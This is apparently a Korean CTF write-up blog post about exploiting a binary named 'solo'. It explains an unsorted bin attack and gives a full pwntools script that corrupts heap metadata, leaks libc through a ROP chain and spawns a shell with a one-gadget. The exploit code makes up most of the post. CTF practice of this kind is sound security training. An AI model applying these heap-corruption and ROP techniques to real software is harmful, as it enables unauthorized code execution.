티스토리 뷰
Summary
- Unsorted bin attack
- ROP
Analysis
login변수의 값이 있으면 rop를 할 수 있다.
Exploit
Unsorted bin attack으로 login변수에 값을 넣어줄 수 있다.
Unsorted bin attack condition
- 공격자에 의해 Unsorted chunk를 생성 할 수 있어야 합니다.
- 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
- 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.
exploit flow
- 2개의 Unsorted chunk 할당
- 첫 번째 free
- bk 를 타겟-16(64비트 기준)으로 overwrite
- free 청크 사이즈만큼 다시 할당.
- 공격 대상 영역에 main_arena.bins[0] 영역의 주소가 저장
from pwn import *
s = process("solo")
e = ELF("solo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def Malloc(num, size, data):
s.sendlineafter("$ ", "1")
s.sendlineafter(": ", str(num))
s.sendlineafter(": ", str(size))
s.sendlineafter(": ", data)
def Free(num):
s.sendlineafter("$ ", "2")
s.sendlineafter(": ", str(num))
def Modify(data):
s.sendlineafter("$ ", "201527")
s.sendlineafter(": ", data)
Malloc(1, 128, "AAAAAAAA")
Malloc(2, 128, "BBBBBBBB")
Free(1)
Modify("\x00"*8+p64(0x602080-0x10))
Malloc(3, 128, "CCCCCCCC")
prdi = 0x4008a0
prsi_r15 = 0x400d11
payload = ''
payload += "A"*0x408
payload += p64(prdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(0x0000000000400680)
s.sendlineafter("$ ", "4")
s.sendlineafter(": ", payload)
s.sendlineafter("$ ", "5")
libc_base = u64(s.recv(6).ljust(8, "\x00")) - libc.symbols['puts']
magic = libc_base + 0xf1147
print(hex(libc_base))
payload = ''
payload += "\x00"*0x408
payload += p64(magic)
s.sendlineafter("$ ", "4")
s.sendlineafter(": ", payload)
s.sendlineafter("$ ", "5")
s.interactive()
'pwnable > CTF write-up' 카테고리의 다른 글
[pwnpwnpwn-15] codegate 2019 aeiou (0) | 2020.01.28 |
---|---|
[pwnpwnpwn-14] codegate 2018 heapbabe (0) | 2020.01.27 |
[pwnpwnpwn-13] codegate 2019 god-the-reum (0) | 2020.01.26 |
[pwnpwnpwn-12] codegate 2018 Super Marimo (0) | 2020.01.24 |
[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore (0) | 2020.01.08 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- fastbin
- pwnable.tw
- HackCTF
- srop
- exit
- TLS
- SQLi
- heap
- FSB
- tcache
- rt_sigreturn
- oob
- pwnable
- codegate
- shellcoding
- pwable
- overflow
- fsop
- ebp change
- 본선가고싶다
- hacking
- fastbindup
- glibc
- 해킹
- stack reusing
- Total
- Today
- Yesterday